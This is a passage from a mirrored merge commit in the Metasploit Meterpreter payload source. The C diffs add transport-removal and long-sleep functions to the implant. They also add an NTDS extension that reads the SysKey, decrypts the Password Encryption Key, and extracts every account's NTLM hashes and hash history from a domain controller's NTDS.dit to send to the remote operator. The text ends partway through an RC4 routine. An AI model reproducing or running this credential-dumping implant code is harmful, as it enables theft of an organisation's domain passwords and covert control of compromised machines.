mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-06 09:13:02 +01:00
Merge branch 'master' of github.com:rapid7/metasploit-payloads
This commit is contained in:
commit
97e2e60c60
@ -250,6 +250,48 @@ BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* r
|
||||
return *result == ERROR_SUCCESS ? FALSE : TRUE;
|
||||
}
|
||||
|
||||
DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
// make sure we are not trying to remove the last transport
|
||||
if (remote->transport == remote->transport->prev_transport) {
|
||||
dprintf("[DISPATCH] Refusing to delete the last transport");
|
||||
result = ERROR_INVALID_FUNCTION;
|
||||
}
|
||||
else {
|
||||
Transport* found = NULL;
|
||||
Transport* transport = remote->transport;
|
||||
char* transportUrl = packet_get_tlv_value_string(packet, TLV_TYPE_TRANS_URL);
|
||||
|
||||
do {
|
||||
if (strcmp(transportUrl, transport->url) == 0) {
|
||||
found = transport;
|
||||
break;
|
||||
}
|
||||
|
||||
transport = transport->next_transport;
|
||||
} while (transport != remote->transport);
|
||||
|
||||
if (found == NULL || found == remote->transport) {
|
||||
dprintf("[DISPATCH] Transport not found, or attempting to remove current");
|
||||
// if we don't have a valid transport, or they're trying to remove the
|
||||
// existing one, then bomb out (that might come later)
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
else {
|
||||
remote->trans_remove(remote, found);
|
||||
dprintf("[DISPATCH] Transport removed");
|
||||
}
|
||||
|
||||
SAFE_FREE(transportUrl);
|
||||
}
|
||||
|
||||
packet_transmit_empty_response(remote, packet, result);
|
||||
dprintf("[DISPATCH] Response sent.");
|
||||
return result;
|
||||
}
|
||||
|
||||
DWORD remote_request_core_transport_add(Remote* remote, Packet* packet)
|
||||
{
|
||||
Transport* transport = NULL;
|
||||
|
@ -293,6 +293,54 @@ BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* r
|
||||
return *result == ERROR_SUCCESS ? FALSE : TRUE;
|
||||
}
|
||||
|
||||
DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
// make sure we are not trying to remove the last transport
|
||||
if (remote->transport == remote->transport->prev_transport)
|
||||
{
|
||||
dprintf("[DISPATCH] Refusing to delete the last transport");
|
||||
result = ERROR_INVALID_FUNCTION;
|
||||
}
|
||||
else
|
||||
{
|
||||
Transport* found = NULL;
|
||||
Transport* transport = remote->transport;
|
||||
wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL);
|
||||
|
||||
do
|
||||
{
|
||||
if (wcscmp(transportUrl, transport->url) == 0)
|
||||
{
|
||||
found = transport;
|
||||
break;
|
||||
}
|
||||
|
||||
transport = transport->next_transport;
|
||||
} while (transport != remote->transport);
|
||||
|
||||
if (found == NULL || found == remote->transport)
|
||||
{
|
||||
dprintf("[DISPATCH] Transport not found, or attempting to remove current");
|
||||
// if we don't have a valid transport, or they're trying to remove the
|
||||
// existing one, then bomb out (that might come later)
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
else
|
||||
{
|
||||
remote->trans_remove(remote, found);
|
||||
dprintf("[DISPATCH] Transport removed");
|
||||
}
|
||||
|
||||
SAFE_FREE(transportUrl);
|
||||
}
|
||||
|
||||
packet_transmit_empty_response(remote, packet, result);
|
||||
dprintf("[DISPATCH] Response sent.");
|
||||
return result;
|
||||
}
|
||||
|
||||
DWORD remote_request_core_transport_add(Remote* remote, Packet* packet)
|
||||
{
|
||||
Transport* transport = NULL;
|
||||
|
@ -35,6 +35,7 @@ extern BOOL remote_request_core_transport_change(Remote* remote, Packet* packet,
|
||||
extern BOOL remote_request_core_transport_next(Remote* remote, Packet* packet, DWORD* result);
|
||||
extern BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* result);
|
||||
extern DWORD remote_request_core_transport_add(Remote* remote, Packet* packet);
|
||||
extern DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet);
|
||||
|
||||
extern BOOL remote_request_core_migrate(Remote *remote, Packet *packet, DWORD* pResult);
|
||||
|
||||
@ -99,6 +100,7 @@ Command baseCommands[] =
|
||||
COMMAND_INLINE_REQ("core_transport_next", remote_request_core_transport_next),
|
||||
COMMAND_INLINE_REQ("core_transport_prev", remote_request_core_transport_prev),
|
||||
COMMAND_REQ("core_transport_add", remote_request_core_transport_add),
|
||||
COMMAND_REQ("core_transport_remove", remote_request_core_transport_remove),
|
||||
// Migration
|
||||
COMMAND_INLINE_REQ("core_migrate", remote_request_core_migrate),
|
||||
// Shutdown
|
||||
|
@ -4,8 +4,10 @@
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#define SLEEP_MAX_SEC (MAXDWORD / 1000)
|
||||
|
||||
/*!
|
||||
* @brief Returns a unix timestamp in UTC.
|
||||
* @return Integer value representing the UTC Unix timestamp of the current time.
|
||||
@ -22,6 +24,23 @@ int current_unix_timestamp(void) {
|
||||
ularge.HighPart = file_time.dwHighDateTime;
|
||||
return (long)((ularge.QuadPart - 116444736000000000) / 10000000L);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Sleep for the given number of seconds.
|
||||
* @param seconds DWORD value representing the number of seconds to sleep.
|
||||
* @remark This was implemented so that extended sleep times can be used (beyond the
|
||||
* 49 day limit imposed by Sleep()).
|
||||
*/
|
||||
VOID sleep(DWORD seconds)
|
||||
{
|
||||
while (seconds > SLEEP_MAX_SEC)
|
||||
{
|
||||
Sleep(SLEEP_MAX_SEC * 1000);
|
||||
seconds -= SLEEP_MAX_SEC;
|
||||
}
|
||||
Sleep(seconds * 1000);
|
||||
}
|
||||
|
||||
#else
|
||||
|
||||
#include <sys/time.h>
|
||||
|
@ -181,6 +181,8 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
VOID sleep(DWORD seconds);
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
#if DEBUGTRACE == 1
|
||||
|
@ -207,6 +207,7 @@ typedef uint64_t QWORD;
|
||||
#define ERROR_INVALID_PARAMETER EINVAL
|
||||
#define ERROR_INVALID_HANDLE EINVAL
|
||||
#define ERROR_INVALID_DATA EINVAL
|
||||
#define ERROR_INVALID_FUNCTION EINVAL
|
||||
#define ERROR_UNSUPPORTED_COMPRESSION EINVAL
|
||||
#define ERROR_NOT_SUPPORTED EOPNOTSUPP
|
||||
|
||||
|
@ -33,6 +33,7 @@ typedef BOOL(*PTransportInit)(Transport* transport);
|
||||
typedef BOOL(*PTransportDeinit)(Transport* transport);
|
||||
typedef void(*PTransportDestroy)(Transport* transport);
|
||||
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
|
||||
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
|
||||
typedef void(*PConfigCreate)(Remote* remote, MetsrvConfig** config, LPDWORD size);
|
||||
|
||||
typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
|
||||
@ -135,6 +136,7 @@ typedef struct _Remote
|
||||
#endif
|
||||
|
||||
PTransportCreate trans_create; ///! Helper to create transports from configuration.
|
||||
PTransportRemove trans_remove; ///! Helper to remove transports from the current session.
|
||||
|
||||
int sess_expiry_time; ///! Number of seconds that the session runs for.
|
||||
int sess_expiry_end; ///! Unix timestamp for when the server should shut down.
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
@ -15,6 +15,7 @@
|
||||
#include "clipboard.h"
|
||||
#include "adsi.h"
|
||||
#include "wmi.h"
|
||||
#include "ntds.h"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
@ -35,6 +36,7 @@ Command customCommands[] =
|
||||
COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
|
||||
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
|
||||
COMMAND_REQ("extapi_ntds_parse", ntds_parse),
|
||||
COMMAND_REQ("extapi_wmi_query", request_wmi_query),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
@ -78,4 +80,4 @@ DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
|
||||
{
|
||||
strncpy_s(buffer, bufferSize, "extapi", bufferSize - 1);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
@ -74,6 +74,9 @@
|
||||
#define TLV_TYPE_EXT_ADSI_PATH_TYPE MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 69)
|
||||
#define TLV_TYPE_EXT_ADSI_DN MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 70)
|
||||
|
||||
#define TLV_TYPE_NTDS_TEST MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 80)
|
||||
#define TLV_TYPE_NTDS_PATH MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 81)
|
||||
|
||||
#define TLV_TYPE_EXT_WMI_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 90)
|
||||
#define TLV_TYPE_EXT_WMI_QUERY MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 91)
|
||||
#define TLV_TYPE_EXT_WMI_FIELD MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 92)
|
||||
|
228
c/meterpreter/source/extensions/extapi/ntds.c
Normal file
228
c/meterpreter/source/extensions/extapi/ntds.c
Normal file
@ -0,0 +1,228 @@
|
||||
/*!
|
||||
* @file ntds.c
|
||||
* @brief NTDS channel interface
|
||||
*/
|
||||
#include "extapi.h"
|
||||
|
||||
#define JET_VERSION 0x0501
|
||||
|
||||
#include <inttypes.h>
|
||||
#include <WinCrypt.h>
|
||||
#include "syskey.h"
|
||||
#include "ntds_decrypt.h"
|
||||
#include "ntds_jet.h"
|
||||
#include "ntds.h"
|
||||
|
||||
/*! @brief Typedef for the NTDSContext struct. */
|
||||
typedef struct
|
||||
{
|
||||
struct jetState *ntdsState;
|
||||
struct ntdsColumns *accountColumns;
|
||||
struct decryptedPEK *pekDecrypted;
|
||||
} NTDSContext;
|
||||
|
||||
// This is the raw NTDS command function. When the remote user
|
||||
// sends a command request for extapi_ntds_parse, this function fires.
|
||||
// It calls the setup routines for our Jet Instance, attaches the isntance
|
||||
// to the NTDS.dit database the user specified, and creates our channel.
|
||||
// The user interacts with the NTDS database through that channel from that point on.
|
||||
DWORD ntds_parse(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
struct jetState *ntdsState = calloc(1,sizeof(struct jetState));
|
||||
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH);
|
||||
// Check if the File exists
|
||||
if (0xffffffff == GetFileAttributes(filePath)) {
|
||||
res = 2;
|
||||
goto out;
|
||||
}
|
||||
strncpy_s(ntdsState->ntdsPath, 255, filePath, 254);
|
||||
|
||||
// Attempt to get the SysKey from the Registry
|
||||
unsigned char sysKey[17];
|
||||
if (!get_syskey(sysKey)) {
|
||||
res = GetLastError();
|
||||
goto out;
|
||||
}
|
||||
|
||||
JET_ERR startupStatus = engine_startup(ntdsState);
|
||||
if (startupStatus != JET_errSuccess) {
|
||||
res = startupStatus;
|
||||
goto out;
|
||||
}
|
||||
|
||||
// Start a Session in the Jet Instance
|
||||
JET_ERR sessionStatus = JetBeginSession(ntdsState->jetEngine, &ntdsState->jetSession, NULL, NULL);
|
||||
if (sessionStatus != JET_errSuccess) {
|
||||
JetTerm(ntdsState->jetEngine);
|
||||
res = sessionStatus;
|
||||
goto out;
|
||||
}
|
||||
JET_ERR openStatus = open_database(ntdsState);
|
||||
if (openStatus != JET_errSuccess) {
|
||||
JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL);
|
||||
JetTerm(ntdsState->jetEngine);
|
||||
res = openStatus;
|
||||
goto out;
|
||||
}
|
||||
JET_ERR tableStatus = JetOpenTable(ntdsState->jetSession, ntdsState->jetDatabase, "datatable", NULL, 0, JET_bitTableReadOnly | JET_bitTableSequential, &ntdsState->jetTable);
|
||||
if (tableStatus != JET_errSuccess) {
|
||||
engine_shutdown(ntdsState);
|
||||
res = tableStatus;
|
||||
goto out;
|
||||
}
|
||||
|
||||
// Create the structure for holding all of the Column Definitions we need
|
||||
struct ntdsColumns *accountColumns = calloc(1, sizeof(struct ntdsColumns));
|
||||
|
||||
JET_ERR columnStatus = get_column_info(ntdsState, accountColumns);
|
||||
if (columnStatus != JET_errSuccess) {
|
||||
engine_shutdown(ntdsState);
|
||||
free(accountColumns);
|
||||
res = columnStatus;
|
||||
goto out;
|
||||
}
|
||||
JET_ERR pekStatus;
|
||||
struct encryptedPEK *pekEncrypted = calloc(1,sizeof(struct encryptedPEK));
|
||||
struct decryptedPEK *pekDecrypted = calloc(1,sizeof(struct decryptedPEK));
|
||||
|
||||
// Get and Decrypt the Password Encryption Key (PEK)
|
||||
pekStatus = get_PEK(ntdsState, accountColumns, pekEncrypted);
|
||||
if (pekStatus != JET_errSuccess) {
|
||||
res = pekStatus;
|
||||
free(accountColumns);
|
||||
free(pekEncrypted);
|
||||
free(pekDecrypted);
|
||||
engine_shutdown(ntdsState);
|
||||
goto out;
|
||||
}
|
||||
if (!decrypt_PEK(sysKey, pekEncrypted, pekDecrypted)) {
|
||||
res = GetLastError();
|
||||
free(accountColumns);
|
||||
free(pekEncrypted);
|
||||
free(pekDecrypted);
|
||||
engine_shutdown(ntdsState);
|
||||
goto out;
|
||||
}
|
||||
// Set our Cursor on the first User record
|
||||
JET_ERR cursorStatus = find_first(ntdsState);
|
||||
if (cursorStatus != JET_errSuccess) {
|
||||
res = cursorStatus;
|
||||
free(accountColumns);
|
||||
free(pekEncrypted);
|
||||
free(pekDecrypted);
|
||||
engine_shutdown(ntdsState);
|
||||
goto out;
|
||||
}
|
||||
cursorStatus = next_user(ntdsState, accountColumns);
|
||||
if (cursorStatus != JET_errSuccess) {
|
||||
res = cursorStatus;
|
||||
free(accountColumns);
|
||||
free(pekEncrypted);
|
||||
free(pekDecrypted);
|
||||
engine_shutdown(ntdsState);
|
||||
goto out;
|
||||
}
|
||||
|
||||
// If we made it this far, it's time to set up our channel
|
||||
PoolChannelOps chops;
|
||||
Channel *newChannel;
|
||||
memset(&chops, 0, sizeof(chops));
|
||||
|
||||
NTDSContext *ctx;
|
||||
// Allocate storage for the NTDS context
|
||||
if (!(ctx = calloc(1, sizeof(NTDSContext)))) {
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
free(accountColumns);
|
||||
free(pekEncrypted);
|
||||
free(pekDecrypted);
|
||||
engine_shutdown(ntdsState);
|
||||
goto out;
|
||||
}
|
||||
|
||||
ctx->accountColumns = accountColumns;
|
||||
ctx->ntdsState = ntdsState;
|
||||
ctx->pekDecrypted = pekDecrypted;
|
||||
|
||||
// Initialize the pool operation handlers
|
||||
chops.native.context = ctx;
|
||||
chops.native.close = ntds_channel_close;
|
||||
chops.read = ntds_channel_read;
|
||||
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops)))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
free(accountColumns);
|
||||
free(pekEncrypted);
|
||||
free(pekDecrypted);
|
||||
engine_shutdown(ntdsState);
|
||||
goto out;
|
||||
}
|
||||
|
||||
channel_set_type(newChannel, "ntds");
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
|
||||
|
||||
out:
|
||||
packet_transmit_response(res, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
// This function reads an individual account record from the database and moves
|
||||
// the cursor to the next one in the table.
|
||||
static DWORD ntds_read_into_batch(NTDSContext *ctx, struct ntdsAccount *batchedAccount)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
JET_ERR readStatus = JET_errSuccess;
|
||||
struct ntdsAccount *userAccount = calloc(1, sizeof(struct ntdsAccount));
|
||||
readStatus = read_user(ctx->ntdsState, ctx->accountColumns, ctx->pekDecrypted, userAccount);
|
||||
if (readStatus != JET_errSuccess) {
|
||||
result = readStatus;
|
||||
}
|
||||
else {
|
||||
memcpy(batchedAccount, userAccount, sizeof(struct ntdsAccount));
|
||||
}
|
||||
free(userAccount);
|
||||
return result;
|
||||
}
|
||||
|
||||
// This callback fires when the remote side requests a read from the channel.
|
||||
// It call ntds_read_into_batch up to 20 times and feeds the results into
|
||||
// an array which is then written back out into the channel's output buffer
|
||||
static DWORD ntds_channel_read(Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
|
||||
{
|
||||
JET_ERR readStatus = JET_errSuccess;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
NTDSContext *ctx = (NTDSContext *)context;
|
||||
struct ntdsAccount batchedAccounts[20];
|
||||
DWORD batchSize = 0;
|
||||
|
||||
for (int i = 0; i < 20; i++) {
|
||||
readStatus = ntds_read_into_batch(ctx, &batchedAccounts[i]);
|
||||
if (readStatus != JET_errSuccess) {
|
||||
break;
|
||||
}
|
||||
batchSize += sizeof(struct ntdsAccount);
|
||||
next_user(ctx->ntdsState, ctx->accountColumns);
|
||||
}
|
||||
|
||||
memcpy(buffer, batchedAccounts, batchSize);
|
||||
*bytesRead = batchSize;
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
// This callback function is responsible for cleaning up when the channel
|
||||
// is closed. It shuts down the Jet Engine, and frees up the memory
|
||||
// for all of the context we have been carrying around.
|
||||
static DWORD ntds_channel_close(Channel *channel, Packet *request,
|
||||
LPVOID context)
|
||||
{
|
||||
NTDSContext *ctx = (NTDSContext *)context;
|
||||
engine_shutdown(ctx->ntdsState);
|
||||
free(ctx->accountColumns);
|
||||
free(ctx->pekDecrypted);
|
||||
free(ctx);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
12
c/meterpreter/source/extensions/extapi/ntds.h
Executable file
12
c/meterpreter/source/extensions/extapi/ntds.h
Executable file
@ -0,0 +1,12 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_PRIV_SERVER_NTDS_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_PRIV_SERVER_NTDS_H
|
||||
|
||||
DWORD ntds_parse(Remote *remote, Packet *packet);
|
||||
static DWORD ntds_channel_read(Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead);
|
||||
static DWORD ntds_channel_close(Channel *channel, Packet *request,
|
||||
LPVOID context);
|
||||
|
||||
#define BLANK_LM_HASH "aad3b435b51404eeaad3b435b51404ee"
|
||||
#define BLANK_NT_HASH "31d6cfe0d16ae931b73c59d7e0c089c0"
|
||||
#endif
|
211
c/meterpreter/source/extensions/extapi/ntds_decrypt.c
Normal file
211
c/meterpreter/source/extensions/extapi/ntds_decrypt.c
Normal file
@ -0,0 +1,211 @@
|
||||
/*!
|
||||
* @file ntds_decrypt.c
|
||||
* @brief Definitions for NTDS decryption functions
|
||||
*/
|
||||
#include "extapi.h"
|
||||
|
||||
#define JET_VERSION 0x0501
|
||||
|
||||
#include <inttypes.h>
|
||||
#include <WinCrypt.h>
|
||||
#include "syskey.h"
|
||||
#include "ntds_decrypt.h"
|
||||
#include "ntds_jet.h"
|
||||
#include "ntds.h"
|
||||
|
||||
/*!
|
||||
* @brief Convert bytes into a Hex string representing those bytes.
|
||||
* @param data Pointer to the byte array we are converting
|
||||
* @param length Integer representing the length of the byte array
|
||||
* @param output Pointer to the string we are outputting the result to
|
||||
*/
|
||||
void bytes_to_string(LPBYTE data, unsigned int length, LPSTR output)
|
||||
{
|
||||
for (unsigned int i = 0; i < length; i++) {
|
||||
sprintf_s(output + (i *2), 3, "%02X", ((LPBYTE)data)[i]);
|
||||
}
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Decrypt an encrypted LM or NT Hash.
|
||||
* @param encryptedNTLM Pointer to an encryptedhash struct for the LM or NT hash we wish to decrypt.
|
||||
* @param pekDecrypted Pointer to a decryptedPEK structure that holds our decrypted PEK
|
||||
* @param hashString Pointer to the string where we will store the decrypted hash
|
||||
* @param rid DWORD representing the Relative ID(RID) of the account
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
BOOL decrypt_hash(struct encryptedHash *encryptedNTLM,
|
||||
struct decryptedPEK *pekDecrypted, char *hashString, DWORD rid)
|
||||
{
|
||||
BOOL cryptOK = FALSE;
|
||||
BYTE encHashData[NULL_TERMINATED_HASH_LENGTH] = { 0 };
|
||||
BYTE decHash[NULL_TERMINATED_HASH_LENGTH] = { 0 };
|
||||
|
||||
memcpy(&encHashData, &encryptedNTLM->encryptedHash, HASH_LENGTH_BYTES);
|
||||
cryptOK = decrypt_rc4(pekDecrypted->pekKey, encryptedNTLM->keyMaterial, encHashData, 1, HASH_LENGTH_BYTES);
|
||||
if (!cryptOK) {
|
||||
return FALSE;
|
||||
}
|
||||
cryptOK = decrypt_hash_from_rid(encHashData, &rid, decHash);
|
||||
if (!cryptOK) {
|
||||
return FALSE;
|
||||
}
|
||||
bytes_to_string(decHash, HASH_LENGTH_BYTES, hashString);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Wraps SystemFunction025 which decrypts a hash using the RID
|
||||
* @param encodedHash Pointer to a byte array containing the encrypted hash
|
||||
* @param rid Pointer to a DWORD containing the Relative ID(RID)
|
||||
* @param decodedHash Pointer to where we store the decrypted hash
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash)
|
||||
{
|
||||
typedef NTSTATUS(__stdcall *PSYS25)(IN LPCBYTE data, IN LPDWORD key, OUT LPBYTE output);
|
||||
HMODULE hAdvapi = LoadLibrary("advapi32.dll");
|
||||
if (hAdvapi == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
PSYS25 decryptFromRID = (PSYS25)GetProcAddress(hAdvapi, "SystemFunction025");
|
||||
if (decryptFromRID(encodedHash, rid, decodedHash) != 0) {
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Splits up an encrypted LM or NT hash history and decrypts each stored hash
|
||||
* @param encHashHistory Pointer to the byte array containing the hash history record
|
||||
* @param sizeHistory The size of the history record
|
||||
* @param pekDecrypted Pointer to a decryptedPEK structure that holds our decrypted PEK
|
||||
* @param rid DWORD representing the Relative ID(RID) of the account
|
||||
* @param accountHistory Pointer to a string wherewe store all the decrypted historical hashes
|
||||
* @param historyCount Pointer to n integer where we store a count of the historical hashes
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory,
|
||||
struct decryptedPEK *pekDecrypted, DWORD rid, char *accountHistory, unsigned int *historyCount)
|
||||
{
|
||||
BOOL cryptOK = FALSE;
|
||||
unsigned int sizeHistoryData = (unsigned int)sizeHistory - 24;
|
||||
unsigned int numHashes = (sizeHistoryData / HASH_LENGTH_BYTES);
|
||||
memcpy(historyCount, &numHashes, sizeof(historyCount));
|
||||
LPBYTE encHistoryData = (LPBYTE)calloc(1,sizeHistoryData);
|
||||
LPBYTE decHistoryData = (LPBYTE)calloc(1,(sizeHistoryData * 2));
|
||||
memcpy(encHistoryData, encHashHistory + 24, sizeHistoryData);
|
||||
cryptOK = decrypt_rc4(pekDecrypted->pekKey, encHashHistory + 8, encHistoryData, 1, sizeHistoryData);
|
||||
if (!cryptOK) {
|
||||
free(encHistoryData);
|
||||
free(decHistoryData);
|
||||
return FALSE;
|
||||
}
|
||||
LPBYTE historicalHash = encHistoryData;
|
||||
LPBYTE writeMarker = decHistoryData;
|
||||
for (unsigned int i = 0; i < numHashes; i++) {
|
||||
BYTE decHash[HASH_LENGTH_BYTES];
|
||||
char hashString[NULL_TERMINATED_HASH_STRING_LENGTH] = { 0 };
|
||||
cryptOK = decrypt_hash_from_rid(historicalHash, &rid, decHash);
|
||||
if (!cryptOK) {
|
||||
return FALSE;
|
||||
}
|
||||
bytes_to_string(decHash, HASH_LENGTH_BYTES, hashString);
|
||||
strncpy_s(writeMarker, NULL_TERMINATED_HASH_STRING_LENGTH, hashString, NULL_TERMINATED_HASH_STRING_LENGTH - 1);
|
||||
historicalHash = historicalHash + HASH_LENGTH_BYTES;
|
||||
writeMarker = writeMarker + NULL_TERMINATED_HASH_STRING_LENGTH;
|
||||
}
|
||||
memcpy(accountHistory, decHistoryData, (numHashes * NULL_TERMINATED_HASH_STRING_LENGTH));
|
||||
free(encHistoryData);
|
||||
free(decHistoryData);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Decrypts the Password Encryption Key(PEK)
|
||||
* @param sysKey Pointer to the string holding the SYSKEY
|
||||
* @param pekEncrypted Pointer to an encryptedPEK struct containing our PEK to be decrypted
|
||||
* @param pekDecrypted Pointer to the decryptedPEK struct where we will store our decrypted PEK
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
BOOL decrypt_PEK(unsigned char *sysKey, struct encryptedPEK *pekEncrypted, struct decryptedPEK *pekDecrypted)
|
||||
{
|
||||
BOOL cryptOK = FALSE;
|
||||
BYTE pekData[52] = { 0 };
|
||||
memcpy(&pekData, &pekEncrypted->pekData, sizeof(struct decryptedPEK));
|
||||
|
||||
cryptOK = decrypt_rc4(sysKey, pekEncrypted->keyMaterial, pekData, 1000, sizeof(struct decryptedPEK));
|
||||
if (!cryptOK) {
|
||||
return FALSE;
|
||||
}
|
||||
memcpy(pekDecrypted, &pekData, sizeof(struct decryptedPEK));
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Takes key material and ciphertext and perform an rc4 decryption routine,
|
||||
* @param key1 Pointer to a string containing the first set of key material
|
||||
* @param key2 Pointer to a string containing the second set of key material
|
||||
* @param encrypted Pointer to a byte array containing the ciphertext
|
||||
* @param iterations How many times to add key2 to the md5 Hash to generate the rc4 key
|
||||
* @param lenBuffer the length of our output buffer
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted,
|
||||
unsigned int hashIterations, DWORD lenBuffer)
|
||||
{
|
||||
BOOL cryptOK = FALSE;
|
||||
HCRYPTPROV hProv = 0;
|
||||
HCRYPTHASH hHash = 0;
|
||||
DWORD md5Len = 16;
|
||||
unsigned char rc4Key[HASH_LENGTH_BYTES];
|
||||
HCRYPTKEY rc4KeyFinal;
|
||||
|
||||
cryptOK = CryptAcquireContext(&hProv, 0, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
|
||||
if (!cryptOK) {
|
||||
return FALSE;
|
||||
}
|
||||
cryptOK = CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash);
|
||||
if (!cryptOK) {
|
||||
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
|
||||
return FALSE;
|
||||
}
|
||||
cryptOK = CryptHashData(hHash, key1, HASH_LENGTH_BYTES, 0);
|
||||
if (!cryptOK) {
|
||||
CryptDestroyHash(hHash);
|
||||
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
|
||||
return FALSE;
|
||||
}
|
||||
for (unsigned int i = 0; i < hashIterations; i++) {
|
||||
cryptOK = CryptHashData(hHash, key2, HASH_LENGTH_BYTES, 0);
|
||||
if (!cryptOK) {
|
||||
CryptDestroyHash(hHash);
|
||||
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
cryptOK = CryptGetHashParam(hHash, HP_HASHVAL, rc4Key, &md5Len, 0);
|
||||
if (!cryptOK) {
|
||||
CryptDestroyHash(hHash);
|
||||
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
|
||||
return FALSE;
|
||||
}
|
||||
cryptOK = CryptDeriveKey(hProv, CALG_RC4, hHash, 0, &rc4KeyFinal);
|
||||
if (!cryptOK) {
|
||||
CryptDestroyHash(hHash);
|
||||
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
|
||||
